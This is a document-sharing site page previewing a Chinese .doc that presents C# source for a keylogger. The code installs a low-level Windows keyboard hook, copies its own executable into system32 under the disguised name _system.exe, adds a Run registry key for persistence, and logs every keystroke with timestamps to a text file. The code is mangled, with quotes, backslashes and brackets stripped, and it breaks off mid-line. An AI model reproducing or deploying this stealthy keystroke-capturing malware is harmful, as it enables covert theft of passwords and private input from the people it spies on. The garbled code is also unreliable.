C#实现记录键盘输入完整版.doc_第1页
C#实现记录键盘输入完整版.doc_第2页
C#实现记录键盘输入完整版.doc_第3页
C#实现记录键盘输入完整版.doc_第4页
C#实现记录键盘输入完整版.doc_第5页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论